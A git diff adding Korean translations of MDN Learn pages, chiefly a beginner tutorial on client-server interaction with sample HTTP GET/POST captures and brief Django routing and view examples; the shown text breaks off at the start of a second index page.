initial commit

5 files changed, 1023 insertions, 0 deletions

diff --git a/files/ko/learn/server-side/first_steps/client-server_overview/index.html b/files/ko/learn/server-side/first_steps/client-server_overview/index.html
new file mode 100644
index 0000000000..cc39e1802e
--- /dev/null
+++ b/files/ko/learn/server-side/first_steps/client-server_overview/index.html
@@ -0,0 +1,324 @@
+---
+title: Client-Server overview
+slug: Learn/Server-side/First_steps/Client-Server_overview
+tags:
+  - 서버측 프로그래밍
+translation_of: Learn/Server-side/First_steps/Client-Server_overview
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">이제 서버 측 프로그래밍의 목적과 잠재적 이점을 알았으니 서버가 브라우저에서 "동적 요청"을받을 때 어떤 일이 발생하는지 자세히 살펴 보겠습니다. 대부분의 웹 사이트 서버 측 코드는 요청 및 응답을 비슷한 방식으로 처리하므로 대부분의 코드를 작성할 때 수행해야 할 작업을 이해하는 데 도움이됩니다</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선수 과목:</th>
+   <td>
+    <p>기본적인 컴퓨터 활용법,</p>
+
+    <p>웹서버에 대한 기초적인 이해</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>
+    <p>클라이언트-서버가 동적 웹사이트에서 어떻게 상호작용을 하는지 이해하고, </p>
+
+    <p>특히 서버 측 코드로 수행해야하는 작업을 이해합니다.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>이 기사는 실제 코드가 없습니다.  왜냐하면 우리는 아직 어떤 웹프레임 워크를 사용하여 코드를 작성할지 선택하지 않았기 때문입니다. 그러나 설명된 동작은 사용자가 선택하는 언어나 웹 프레임워크와 관계없이 서버 측 코드에 의해 구현 되야하므로 이 기사는 여전히 관계가 있습니다.</p>
+
+<h2 id="Web_servers_and_HTTP_(a_primer)">Web servers and HTTP (a primer)</h2>
+
+<p>웹 브라우저는 <strong>H</strong>yper<strong>T</strong>ext <strong>T</strong>ransport <strong>P</strong>rotocol (<a href="https://developer.mozilla.org/ko/docs/Web/HTTP">HTTP</a>)을 사용 하여 웹 서버와 통신을 합니다 . 당신이 웹 페이지의 링크를 클릭하거나, form을 전송 하거나, 검색을 시작하거나 할 때 웹 브라우저는 <em>HTTP Request</em>를 서버에 보냅니다.</p>
+
+<p>이 요청이 포함 하는것은 다음과 같습니다:</p>
+
+<ul>
+ <li>대상 서버및 리소스를 식별하는 URL.  (예: HTML파일, 서버의 특별한 데이터 요소, 또는 실행할 도구)</li>
+ <li>필요한 행동을 정의할 메소드 (예를 들면, 파일을 얻거나 어떤 데이터를 저장하거나 업데이트하는 것). 여러 메소드/단어 그리고 그들과 관련된 행동이 아래에 나열 되어있습니다:
+  <ul>
+   <li><code>GET</code>: 특정 리소스를 얻습니다. (예: 제품의 대한 정보 또는 제품 목록을 제공하는 HTML파일). </li>
+   <li><code>POST</code>: 새로운 리소스를 만듭니다. (예: 위키에 새로운 기사를 추가 하기, 데이터베이스와 새로운 연결을 추가하기). </li>
+   <li><code>HEAD</code>: 특정 리소스의 내용 부분을 제외한 메타데이터 정보를 가져옵니다. 예를 들어 HEAD 요청을 사용하여 리소스가 마지막으로 업데이트 된 시간을 확인한 다음 리소스가 변경된 경우에만 (더 비싼) GET 요청을 사용하여 리소스를 다운로드 할 수 있습니다. </li>
+   <li><code>PUT</code>: 기존에 있던 리소스를 업데이트 합니다. (또는 그 리소스가 없었다면 새로 만들어줍니다)</li>
+   <li><code>DELETE</code>: 특정 리소스를 삭제합니다.</li>
+   <li><code>TRACE</code>, <code>OPTIONS</code>, <code>CONNECT</code>, <code>PATCH</code>: 이 메소드는 덜 일반적인 / 고급 작업을위한 것이므로 여기서 다루지는 않습니다.</li>
+  </ul>
+ </li>
+ <li>요청과 함께 추가 정보 (예 : HTML 양식 데이터)를 인코딩 할 수 있습니다. 정보는 다음과 같이 인코딩 될 수 있습니다:</li>
+</ul>
+
+<p>URL 매개변수들: <code>GET</code> requests는 이름/값 쌍을 끝에 추가하여 서버에 보낸 URL 데이터를 인코딩 합니다.  예를 들어<code>http://mysite.com<strong>?name=Fred&amp;age=11</strong></code>. 물음표(<code>?</code>)를 항상 볼수 있는데 이것은 URL과 URL 매개변수를 분리 합니다, (<code>=</code>)은 매개변수의 이름과 값을 분리합니다. 그리고(<code>&amp;</code>)는 이름/값 쌍을 분리합니다.  URL 매개 변수는 사용자가 변경하여 다시 제출할 수 있으므로 본질적으로 "안전하지 않음"입니다. 그런 이유로URL 매개변수들/<code>GET</code> 요청은 서버에 데이터를 업데이트를 하는 요청에 사용되지 않습니다.</p>
+
+<ul>
+ <li><code>POST</code> 데이터. POST 요청은 요청 본문 내에 인코딩 된 데이터를 새 리소스에 추가합니다.</li>
+ <li>클라이언트 측 쿠키. 쿠키는 서버가 로그인 상태 및 권한 / 자원에 대한 액세스를 결정하는 데 사용할 수있는 키를 포함하여 클라이언트에 대한 세션 데이터를 포함합니다.</li>
+</ul>
+
+<p>웹 서버는 클라이언트의 요청 메시지를 기다리고, 메시지가 오면 그것들을 처리하고,  웹 브라우저에 HTTP Response메시지를 응답합니다. 응답에는 요청 성공여부를 나타내는 <a href="https://developer.mozilla.org/ko/docs/Web/HTTP/Status">HTTP Response status code</a>를 포함합니다.(예 "<code>200 OK</code>" 응답 성공, "<code>404 Not Found</code>" 해당 리소스를 찾을 수 없음, "<code>403 Forbidden</code>" 사용자가 해당 리소스를 볼 자격을 증명하지 않음, 기타 등등).  성공적인 응답이라면 GET request에서 요청한 리소스를 포함한 본문 일 것 입니다.</p>
+
+<p>HTML 페이지가 반환 되면 웹 브라우저에 의해 렌더링 될 것입니다. 그 과정에서 브라우저는 다른 리소스와 링크된 것들을 찾을수도 있습니다.(예  HTML page 종종 JavaScript나 CSS pages를 참조합니다), 그리고 별도의 HTTP Requests로 그 파일들을 다운로드 합니다.</p>
+
+<p>정적 웹사이트및 동적 웹사이트는 (다음 섹션에서 설명하는) 정확히 같은 통신 프로토콜/패턴을 사용합니다.</p>
+
+<h3 id="GET_requestresponse_example">GET request/response example</h3>
+
+<p>당신은 링크를 클릭하거나 사이트를 검색하는 간단한 <code>GET</code> request를 만들 수 있습니다.(검색엔진의 홈페이지 같은). 예를 들자면, 만약 당신이 MDN에서 "클라이언트 서버 개요"를 검색하면  전송되는 HTTP request는 아래의 텍스트와 매우 유사할 것 입니다(메시지의 일부가 브라우저/설정에 따라 다르므로 같지는 않습니다).</p>
+
+<div class="note">
+<p>HTTP 메시지의 형식은 "웹 표준" (<a href="http://www.rfc-editor.org/rfc/rfc7230.txt">RFC7230</a>)에 정의 되어 있습니다. 이 수준의 세부사항을 알 필요는 없지만 적어도 이제는 이 모든 것이 어디서 왔는지를 알 수 있습니다!</p>
+</div>
+
+<h4 id="The_request">The request</h4>
+
+<p>각 라인의 요청들은 그것이 어떤 정보인지 포함 하고 있습니다. 이러한 첫 부분을 <strong>header</strong>라고 합니다, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">HTML head</a>가 HTML 문서의 유용한 정보를 포함하는 것과 같은 방식으로 유용한 정보를 포함합니다. (실제로 본문에 있는 콘텐츠 자체는 아닙니다.):</p>
+
+<pre>GET https://developer.mozilla.org/en-US/search?q=client+server+overview&amp;topic=apps&amp;topic=html&amp;topic=css&amp;topic=js&amp;topic=api&amp;topic=webdev HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Pragma: no-cache
+Cache-Control: no-cache
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/
+Accept-Encoding: gzip, deflate, sdch, br
+<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true
+</pre>
+
+<p>첫번째와 두번째라인은 위에서 우리가 말한 많은 종류의 정보를 포함 하고 있습니다:</p>
+
+<ul>
+ <li>요청의 타입(<code>GET</code>).</li>
+ <li>대상 리소스 URL (<code>/en-US/search</code>).</li>
+ <li>URL 인자들 (<code>q=client%2Bserver%2Boverview&amp;topic=apps&amp;topic=html&amp;topic=css&amp;topic=js&amp;topic=api&amp;topic=webdev</code>).</li>
+ <li>대상/호스트 웹 사이트 (developer.mozilla.org).</li>
+ <li>첫번째 줄의 끝 부분은 특정 프로토콜 버전을 식별하는 짧은 문자열도 포함 합니다 (<code>HTTP/1.1</code>).</li>
+</ul>
+
+<p>마지막 줄은 서버측 쿠키의 대한 정보를 포함합니다. — 이번 케이스는 쿠키가 세션을 관리하는 id를 포함하는 것을 볼 수 있습니다.  (<code>Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...</code>).</p>
+
+<p>나머지 줄은 사용하는 브라우저의 정보와 다룰수 있는 요청의 정렬한 정보들을 포함 하고 있습니다. 이것들을 예로 볼 수 있습니다:</p>
+
+<ul>
+ <li>나의 브라우저는 (<code>User-Agent</code>) Mozilla Firefox입니다(<code>Mozilla/5.0</code>).</li>
+ <li>gzip 의 압축된 정보들을 받아들일 수 있습니다(<code>Accept-Encoding: gzip</code>).</li>
+ <li>지정된 문자집합(<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>) 과 언어들을 받아 들일 수 있습니다(<code>Accept-Language: de,en;q=0.7,en-us;q=0.3</code>).</li>
+ <li><code>Referer</code> 줄은 리소스가 링크된 웹 페이지를 포함하는 주소를 지시하고 있습니다 (i.e. the origin of the request, <code>https://developer.mozilla.org/en-US/</code>).</li>
+</ul>
+
+<p>HTTP requests는 본문을 가질수 있지만 이번 케이스에서는 비어 있습니다.</p>
+
+<h4 id="The_response">The response</h4>
+
+<p>이 요청의 대한 응답의 첫번째 부분은 밑에서 볼 수 있습니다. header에는 다음과 같이 정보들을 포함 하고 있습니다:</p>
+
+<ul>
+ <li>응답 코드의 첫번째 줄은 <code>200 OK</code>를 포함 하고 있습니다, 이것은 우리에게 응답이 성공하였다는 것을 말해주고 있습니다.</li>
+ <li>응답 포맷은 <code>text/html</code>이라는 것을 볼 수 있습니다.  (<code>Content-Type</code>).</li>
+ <li>또한 문자집합을 UTF-8로 사용하는 것을 볼 수 있습니다(<code>Content-Type: text/html; charset=utf-8</code>).</li>
+ <li>또한 이 header는 body가 얼마나 큰지 알려주고 있습니다. (<code>Content-Length: 41823</code>).</li>
+</ul>
+
+<p>메시지의 마지막에는 요청에 의해 반환된 실제 HTML을 포함하는 <strong>본문 </strong>콘텐츠를 볼 수 있습니다.</p>
+
+<pre class="brush: html">HTTP/1.1 200 OK
+Server: Apache
+X-Backend-Server: developer1.webapp.scl3.mozilla.com
+Vary: Accept,Cookie, Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:11:31 GMT
+Keep-Alive: timeout=5, max=999
+Connection: Keep-Alive
+X-Frame-Options: DENY
+Allow: GET
+X-Cache-Info: caching
+Content-Length: 41823
+
+
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en-US" dir="ltr" class="redesign no-js"  data-ffo-opensanslight=false data-ffo-opensans=false &gt;
+&lt;head prefix="og: http://ogp.me/ns#"&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;meta http-equiv="X-UA-Compatible" content="IE=Edge"&gt;
+  &lt;script&gt;(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);&lt;/script&gt;
+  ...
+</pre>
+
+<p>응답 header의 나머지 부분은 응답(예. 생성 되었을 때), 서버및 브라우저가 처리하는 방법의 대한 정보를 포함하고 있습니다(예.  <code>X-Frame-Options: DENY</code>행은 브라우저가 페이지를 다른 사이트의 {{htmlelement ( "iframe")}}에 삽입하는 것을 허용하지 않는 것을 지시합니다).</p>
+
+<h3 id="POST_requestresponse_example">POST request/response example</h3>
+
+<p>HTTP <code>POST</code>는 당신이 정보를 포함한 폼을 작성하여 서버에 저장하기 위해 전송할때 만들어집니다.</p>
+
+<h4 id="The_request_2">The request</h4>
+
+<p>아래의 텍스트는 사용자가 새로운 프로필 정보를 사이트에 전송할때 만들어지는 HTTP request를 보여줍니다. 이 요청의 대한 포맷은 이전 <code>GET</code> request의 예시와 거의 비슷해 보입니다, 그렇지만 첫번째 줄은 이것이 <code>POST</code> 요청임을 보여주고 있습니다. </p>
+
+<pre class="brush: html">POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Content-Length: 432
+Pragma: no-cache
+Cache-Control: no-cache
+Origin: https://developer.mozilla.org
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit
+Accept-Encoding: gzip, deflate, br
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true
+
+csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&amp;user-username=hamishwillee&amp;user-fullname=Hamish+Willee&amp;user-title=&amp;user-organization=&amp;user-location=Australia&amp;user-locale=en-US&amp;user-timezone=Australia%2FMelbourne&amp;user-irc_nickname=&amp;user-interests=&amp;user-expertise=&amp;user-twitter_url=&amp;user-stackoverflow_url=&amp;user-linkedin_url=&amp;user-mozillians_url=&amp;user-facebook_url=</pre>
+
+<p>가장 큰 차이점은 URL이 인자를 가지고 있지 않다는 겁니다. 보다시피, 폼에서 온 정보들은 요청 본문에 인코딩 되어있습니다(예를 들면, 새 사용자의 전체 이름은 다음을 사용하여 설정 합니다: <code>&amp;user-fullname=Hamish+Willee</code>).</p>
+
+<h4 id="The_response_2">The response</h4>
+
+<p>요청에서 온 응답은 아래와 같이 보여집니다. "<code>302 Found</code>"의 상태 코드는 브라우저에게 post가 성공했고,  <code>Location</code> 필드가 지정된 페이지를 로드하기 위해 두번째 HTTP request를 실행해야 하는 것을 알려줍니다. 그렇지 않은 경우 정보는 <code>GET</code> request에 대한 응답정보와 유사합니다.</p>
+
+<pre class="brush: html">HTTP/1.1 302 FOUND
+Server: Apache
+X-Backend-Server: developer3.webapp.scl3.mozilla.com
+Vary: Cookie
+Vary: Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:38:13 GMT
+Location: https://developer.mozilla.org/en-US/profiles/hamishwillee
+Keep-Alive: timeout=5, max=1000
+Connection: Keep-Alive
+X-Frame-Options: DENY
+X-Cache-Info: not cacheable; request wasn't a GET or HEAD
+Content-Length: 0
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: HTTP responses 그리고 requests를 보여주는 예시들은 <a href="https://www.telerik.com/download/fiddler">Fiddler </a>어플리케이션을 사용하여 캡처하였습니다,  그렇지만 당신은 스니퍼(e.g. <a href="http://web-sniffer.net/">http://web-sniffer.net/</a>)나 브라우저 확장 기능인 <a href="https://addons.mozilla.org/en-US/firefox/addon/httpfox/">HttpFox </a>같은 것을 사용하여 확인 할 수 있습니다. 이러한 것을 직접 시도해보세요. 링크된 도구들을 사용하여 여러 사이트들을 돌아다니고 프로필 정보를 수정 하여 다양한 requests 와 responses를 확인해보세요. 현대의 대부분 브라우저는 네트워크 요청을 모니터 할수 있는 도구 또한 가지고 있습니다 (예를들면, Firefox가 가진 도구인 <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> ).</p>
+</div>
+
+<h2 id="Static_sites">Static sites</h2>
+
+<p>정적 사이트는 특정 리소스가 요청될 때마다 서버에서 하드 코딩된 동일한 컨텐츠를 반환하는 사이트 입니다. 예를 들면 당신이  <code>/static/myproduct1.html</code> 에서 제품에 대한 정보페이지를 가지고 있다면 , 이 페이지는 어떤 유저에게나 동일하게 반환될 것입니다. 만약 당신이 비슷한 제품을 사이트에 추가 하고 싶다면 당신은 다른 페이지를 추가하여야 합니다(예. <code>myproduct2.html</code>) . 이것은 실제로 비효율적이 될것입니다 — 제품 페이지가 수천이 된다면? 각 페이지에 (기본 페이지 템플릿, 구조체 등)걸쳐 많은 코드를 반복하고 페이지에 대한 구조를 변경하려는 경우 — 예를 들어 새로운 관련제품에 대한 섹션을 추가하는 경우 — 모든 페이지를 개별적으로 변경해야 합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 정적사이트는 작은수의 페이지만 가지고 있거나 같은 콘텐츠를 모든 유저에게 보내고 싶을때는 좋을 수 있습니다. 그렇지만 페이지 수가 많아지기 시작하면 상당한 비용의 유지비가 필요합니다.</p>
+</div>
+
+<p>어떻게 작동하는지 다시 살펴보겠습니다, 마지막 기사에서 살펴본 정적 사이트의 아키텍쳐는다이어그램을 다시 살펴보면</p>
+
+<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png"></p>
+
+<p>유저가 페이지를 탐색하기를 원할 때, 브라우저는 지정된 HTML 페이지의 URL에 HTTP <code>GET</code> request를 보냅니다. 서버는 요청한 문서를 파일 시스템에서 탐색하고 문서와<a href="https://developer.mozilla.org/ko/docs/Web/HTTP/Status"> HTTP Response status code </a>"<code>200 OK</code>" (성공을 알려주는)를 포함하는 HTTP응답을 반환합니다. 만약 서버가 다른 상태 코드를 반환한다면, 예를들면 "<code>404 Not Found</code>"는 파일이 서버에 없는 경우이고 "<code>301 Moved Permanently</code>"는 파일은 존재하지만 다른 위치로 리다이렉트된 경우입니다 .</p>
+
+<p>이 정적 사이트는 오직 GET requests만 필요합니다, 왜냐하면 이 서버는 변경 할 수 있는 데이터는 저장하지 않기 때문입니다. 또한  HTTP Request 데이터에 기반한 응답을 바꿀 필요가 없습니다(예. URL 인자들 또는 쿠키). </p>
+
+<p>서버측 프로그래밍을 할때는 정적사이트가 어떻게 동작하는지 이해하는 것이 여전히 유용합니다, 왜냐하면 동적사이트가 정적 파일(CSS, JavaScript, static images, etc.)에 대한 요청을 다루는 방법이 거의 동일하기 때문입니다.</p>
+
+<h2 id="Dynamic_sites">Dynamic sites</h2>
+
+<p>동적 사이트는 특별한 URL과 데이터 요청에 의해 생성되거나 콘텐츠를 반환할 수 있습니다(특정 URL에 대해 항상 동일한 하드 코딩 된 파일을 반환하는 것이 아닙니다). 제품 사이트를 이용하는 예를 들면, 서버는 각 제품에 대한 HTML파일을 만들기보다 제품 "데이터"를 데이터베이스에 저장할 것입니다. 제품에 대한HTTP <code>GET</code> Request를 받으면, 서버는 제품ID를 결정하고, 데이터베이스에서 데이터를 가져오고, HTML 템플릿에 가져온 데이터를 집어넣은 HTML페이지를 생성할 것입니다. 이것은 정적 사이트보다 주요한 장점이 있습니다:</p>
+
+<p>데이터베이스를 통해 제품 정보를 쉽게 확장하거나 수정하거나 검색가능한 방식으로 효율적으로 저장 할 수있습니다.</p>
+
+<p>HTML 템플릿을 통해 HTML 구조를 매우 쉽게 바꿀 수 있도록 만들 수 있습니다, 왜냐하면 하나의 위치에 하나의 템플릿만 수행되어야하며 잠재적인 수천개의 정적 페이지에서 수행되지 않아야 하기 때문입니다.</p>
+
+<h3 id="Anatomy_of_a_dynamic_request">Anatomy of a dynamic request</h3>
+
+<p>이 섹션은 "동적" HTTP request와 response 사이클에 대한 단계별 개요를 제공하고, 마지막 기사에서 살펴본 내용을 훨씬 더 자세하게 소개합니다. "실제 상황을 유지하기 위해"우리는 코치가 HTML 형식으로 팀 이름과 팀 크기를 선택하고 다음 게임을 위해 제안 된 "최고의 라인업"을 얻을 수있는 스포츠 팀 매니저 웹 사이트의 컨텍스트를 사용합니다.</p>
+
+<p>아래 다이어그램은 "팀 코치"웹 사이트의 주요 요소와 코치가 "최고의 팀"목록에 액세스 할 때 일련의 작업 순서에 대한 번호가 매겨진 레이블을 보여줍니다. <em>사이트를 동적으로 만드는 부분들은</em> 웹 애플리케이션(이것은 HTTP 요청을 처리하고 HTTP 응답을 반환하는 서버 측 코드를 참조하는 방법입니다), 선수의 정보나 팀 코치의 정보를 포함한 데이터베이스 그리고 <em>HTML 템플릿입니다</em>.</p>
+
+<p><img alt="This is a diagram of a simple web server with step numbers for each of step of the client-server interaction." src="https://mdn.mozillademos.org/files/13829/Web%20Application%20with%20HTML%20and%20Steps.png" style="height: 584px; width: 1226px;"></p>
+
+<p>코치가 팀 이름과 플레이어의 수를 포함한 폼을 전송하면 작업 시퀀스는 다음과 같습니다:</p>
+
+<ol>
+ <li>웹 브라우저는 리소스에 대한 기본 URL을 사용하여 서버에 HTTP <code>GET</code> request을 생성합니다 (<code>/best</code>) , 그리고 팀 및 플레이어의 수를 URL인자로 인코딩하거나(예. <code>/best?team=my_team_name&amp;show=11)또는 URL패턴</code> (예. <code>/best/my_team_name/11/</code>) 으로 인코딩 합니다. 이 요청은 데이터를 꺼내오는데에만 사용 하므로(데이터가 수정 되지 않음) GET request를 사용합니다. </li>
+ <li>웹 서버는 이 요청이 "동적"임을 감지하고 처리를 위해 웹 어플리케이션에 전달합니다(웹서버는 정의된 설정에 의한 패턴 매칭 방법에 기반한 다양한 URL들을 처리하는 방법을  결정 합니다).</li>
+ <li>웹 애플리케션은 이 요청의 대한 의도가 URL에 기반한 "최고의 팀 목록"을 얻는 것 인지 확인하고 (<code>/best/</code>) URL에서 필요한 팀 이름과 플레이어의 숫자를 찾아냅니다. 웹 어플리케이션은 데이터베이스를 통해 필요한 정보를 가져옵니다 (추가 "내부의" 인자들을 사용하여 어떤 플레이어가 "최고"인지 정의하고, 또한 클라이언트측 쿠키에서 로그인한 코치의 신분을 확인 할 수 있습니다).</li>
+ <li>웹 어플리케이션은 HTML template의 자리 표시 자에 데이터(데이터베이스를 통해)를 넣은 HTML 페이지를 동적으로 생성 합니다.</li>
+ <li>웹 어플리케이션은 생성된 HTML을 (웹 서버를 경유하여) 브라우저에 HTTP 상태코드 200 ("success")와 함께 반환합니다. 만약 어떤 것이 HTML을 반환 하는 것을 막았다면 웹 어플리케이션은 다른 코드를 반환할 것 입니다 —예를들자면 "404"는 팀이 존재 하지 않음을 지시합니다.</li>
+ <li>웹 브라우저가 반환한 HTML을 처리하고 참조하는 다른 CSS파일이나 Javascript 파일을 얻기위해 별도의 요청을 보냅니다(7단계를 보십시오).</li>
+ <li>웹 사이트는 파일 시스템에 있는 정적 파일을 로드하고 즉시 브라우저에 반환합니다(올바른 파일 처리는 설정 방법과 URL패턴 매칭을 기반으로 합니다).</li>
+</ol>
+
+<p>데이터베이스에 업데이트를 기록하는 조작도 이와 비슷하게 처리합니다, 단 데이터베이스 업데이트는 브라우저의 HTTP request가 <code>POST</code> request로 인코딩 되어야 합니다. </p>
+
+<h3 id="Doing_other_work">Doing other work</h3>
+
+<p>웹 어플리케이션의 일은 HTTP requests를 전달 받고 HTTP responses를 반환 하는 것 입니다. 데이터베이스와 상호작용 하여 정보를 얻어오거나 업데이트를 하는것은 매우 평범한 작업이지만 코드는 같은 시간에 다른 것들을 하거나 데이터 베이스와 상호작용을 하지 않을 수 있습니다.</p>
+
+<p>웹 어플리케이션의 수행할 수 있는 추가적인 작업에 대한 좋은 예는 사용자가 사이트에 등록 되어있는지 확인 하기위해 이메일을 보내는 것 입니다. 사이트는 로깅 또는 다른 작업을 수행 할 수 있습니다. </p>
+
+<h3 id="Returning_something_other_than_HTML">Returning something other than HTML</h3>
+
+<p>서버측 웹사이트 코드는 HTML 스니펫/파일만을 반환하지는 않습니다. 그 대신 다양한 파일들(text, PDF, CSV, etc.) 과 데이터(JSON, XML, etc.)를 동적으로 생성하여 반환 할 수 있습니다.</p>
+
+<p>({{glossary("AJAX")}})를 동적으로 업데이트 할 수 있도록 데이터를 웹 브라우저로 반환하는 아이디어는 꽤 오래있었습니다. 최근에는 "단일 페이지 앱" 인기가 있기 사작하였고, 전체의 웹 사이트는 필요한 경우 동적으로 업데이트되는 단일 HTML페이지로 작성 되었습니다. 이 스타일의 애플리케이션을 사용하여 만든 웹 사이트는 서버에서 해야 할 계산을 웹 브라우저로 이동시켜 웹 사이트가 기본 애플리케이션처럼 작동하는 것처럼 보일 수 있습니다 (반응이 빠른, 기타 등등.).</p>
+
+<h2 id="Web_frameworks_simplify_server-side_web_programming">Web frameworks simplify server-side web programming</h2>
+
+<p>서버측 웹 프레임 워크는 위에서 설명한 작업을 훨씬 쉽게 처리할 수 있는 코드를 제공합니다.</p>
+
+<p>그들이 수행하는 가장 중요한 작업 중 하나는 다양한 리소스 / 페이지에 대한 URL을 특정 처리기 기능에 매핑하는 간단한 메커니즘을 제공하는 것입니다. 이는 분리된 리소스의 각각 타입들이 관련된 코드를 보관하는 것을 쉽게 만들어 줍니다. 또한 유지 보수 측면에서도 이점이 있습니다, 핸들러 기능을 변경하지 않고도 한 곳에서 특정 기능을 제공하는 데 사용되는 URL을 변경할 수 있기 때문입니다.</p>
+
+<p>예를 들어, 2개의 뷰 함수를 2개의 URL에 매핑하는 다음의 Django (Python)코드를 보면. 첫 번째 패턴은 리소스 URL이 / best 인 HTTP 요청이 views 모듈의 index () 함수에 전달되도록합니다. "/ best / junior"패턴을 가진 요청은 대신 junior ()보기 기능으로 전달됩니다.</p>
+
+<pre class="brush: python"># file: best/urls.py
+#
+
+from django.conf.urls import url
+
+from . import views
+
+urlpatterns = [
+    # example: /best/
+    url(r'^$', views.index),
+    # example: /best/junior/
+    url(r'^junior/$', views.junior),
+]</pre>
+
+<div class="note">
+<p><strong>Note</strong>: url () 함수의 첫 번째 매개 변수는 "정규 표현식"(RegEx 또는 RE)이라는 패턴 일치 기술을 사용하기 때문에 조금 이상하게 보일 수 있습니다 (예 : r' ^ junior / $ '). 위의 하드 코딩 된 값 대신 URL에서 패턴을 일치시키고 뷰 기능에서 매개 변수로 사용할 수있는 것 외에는 정규 표현식이 어떻게 작동하는지 알 필요가 없습니다. 예를 들어, 정말 간단한 RegEx는 "하나의 대문자와 일치하고 4 ~ 7 자의 소문자가옵니다"라고 말할 수 있습니다</p>
+</div>
+
+<p>웹프레임 워크는 뷰 함수가 데이터베이스안의 정보를 가져오는 것 또한 쉽게 만들어 줍니다. 데이터 구조는 기본 데이터베이스에 저장할 필드를 정의하는 Python 클래스 인 모델에서 정의됩니다. "team_type"필드를 가진 Team이라는 모델이 있다면 간단한 쿼리 구문을 사용하여 특정 유형의 모든 팀을 되 찾을 수 있습니다.</p>
+
+<p>아래 예제는 정확한 (대소 문자 구분) <code>team_type</code>이 "junior"인 모든 팀의 목록을 가져옵니다. - 필드 이름 (<code>team_type</code>)과 두 번째 밑줄, 그리고 사용할 일치 유형 (이 경우 <code>정확한</code>). 다른 많은 유형의 경기가 있으며 데이지 체인 방식으로 경기를 진행할 수 있습니다. 우리는 또한 반환 된 결과의 순서와 수를 제어 할 수 있습니다. </p>
+
+<pre class="brush: python">#best/views.py
+
+from django.shortcuts import render
+
+from .models import Team
+
+
+def junior(request):
+    list_teams = Team.objects.filter(team_type__exact="junior")
+    context = {'list': list_teams}
+    return render(request, 'best/index.html', context)
+</pre>
+
+<p><code>junior()</code> 함수가 주니어 팀 목록을 얻은 후에 원래 <code>HttpRequest</code>, HTML 템플리트 및 템플리트에 포함될 정보를 정의하는 "컨텍스트"객체를 전달하여<code>render()</code> 함수를 호출합니다. <code>render()</code>함수는 컨텍스트와 HTML 템플릿을 사용하여 HTML을 생성하고 <code>HttpResponse</code>객체에 반환하는 편리한 함수입니다.</p>
+
+<p>분명히 웹 프레임 워크는 많은 다른 작업을 도와 줄 수 있습니다. 우리는 다음 기사에서 더 많은 이점과 일부 대중적인 웹 프레임 워크 선택에 대해 논의합니다.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>이 시점에서 서버 측 코드가 수행해야하는 작업을 잘 살펴보고 서버 측 웹 프레임 워크가 이를 쉽게 수행 할 수있는 몇 가지 방법을 알고 있어야합니다.</p>
+
+<p>다음 모듈에서는 당신이 첫 번째 사이트에 가장 적합한 웹 프레임 워크를 선택할 수 있도록 도와 드리겠습니다</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>
diff --git a/files/ko/learn/server-side/first_steps/index.html b/files/ko/learn/server-side/first_steps/index.html
new file mode 100644
index 0000000000..a8faa4352b
--- /dev/null
+++ b/files/ko/learn/server-side/first_steps/index.html
@@ -0,0 +1,39 @@
+---
+title: Server-side website programming first steps
+slug: Learn/Server-side/First_steps
+translation_of: Learn/Server-side/First_steps
+---
+<div>{{LearnSidebar}}</div>
+
